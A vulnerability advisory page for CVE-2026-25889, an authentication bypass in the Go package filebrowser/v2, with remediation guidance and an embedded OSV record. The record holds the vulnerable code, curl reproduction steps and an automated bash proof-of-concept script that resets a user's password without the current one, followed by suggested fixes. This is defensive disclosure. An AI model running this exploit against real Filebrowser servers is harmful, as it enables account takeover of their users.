CVE-2026-25889: Github.com/filebrowser/filebrowser/v2 Authentication Bypass Vulnerability
MODERATECVE-2026-25889 is a MODERATE (CVSS 5.4) authentication bypass vulnerability (CWE-178: Improper Handling of Case Sensitivity) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser has an authentication bypass in user password update. Remediation is available by upgrading affected packages to version 2.57.1.
CVE-2026-25889 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-25889
To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/filebrowser/filebrowser/v2 to 2.57.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/filebrowser/filebrowser/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25889, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:
inspect dependencies for github.com/filebrowser/filebrowser/v2
Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.57.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-178: Improper Handling of Case Sensitivity, where the product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25889 Affected Github.com/filebrowser/filebrowser/v2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/filebrowser/filebrowser/v2
|
Go |
< 2.57.1
|
2.57.1
|
References
Frequently Asked Questions
What is CVE-2026-25889?
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
What version fixes CVE-2026-25889?
Is github.com/filebrowser/filebrowser/v2 affected?
What is the CVSS score of CVE-2026-25889?
What CWE is associated with CVE-2026-25889?
How can I check Go dependencies for CVE-2026-25889?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hxw8-4h9j-hq2r",
"modified" : "2026-02-10T02:56:29Z",
"published" : "2026-02-10T00:22:33Z",
"aliases" : [ "CVE-2026-25889" ],
"summary" : "File Browser has an Authentication Bypass in User Password Update",
"details" : "# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High) \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n var sensibleFields = map[string]struct{}{\n \"all\": {},\n \"username\": {},\n \"password\": {}, // lowercase\n \"scope\": {},\n \"lockPassword\": {},\n \"commands\": {},\n \"perm\": {},\n }\n\n for _, field := range req.Which {\n if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT /api/users/{id} with:\n - which: [\"Password\"] (Title Case - bypasses validation)\n - data.password: \"attacker_password\"\n - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"victim\",\"password\":\"victim_password\"}')\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"what\": \"user\",\n \"which\": [\"password\"],\n \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n }'\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"what\": \"user\",\n \"which\": [\"Password\"],\n \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n }'\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d '{\"username\":\"victim\",\"password\":\"victim_password\"}'\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d '{\"username\":\"victim\",\"password\":\"HackedPassword123\"}'\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh <target> <username> <current_password> <new_password>\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split('.')\npayload=json.loads(base64.b64decode(parts[1]+'=='))\nprint(payload['user']['id'])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"what\\\": \\\"user\\\",\n \\\"which\\\": [\\\"Password\\\"],\n \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n \"All\": {},\n \"Username\": {},\n \"Password\": {}, // Title Case to match post-transformation\n \"Scope\": {},\n \"LockPassword\": {},\n \"Commands\": {},\n \"Perm\": {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n v = cases.Title(language.English, cases.NoLower).String(v)\n req.Which[k] = v\n \n // Now check with Title Case\n if _, ok := sensibleFields[v]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/filebrowser/filebrowser/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.57.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.57.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25889"
}, {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/filebrowser/filebrowser"
}, {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-178" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-10T00:22:33Z",
"nvd_published_at" : "2026-02-09T22:16:03Z"
}
}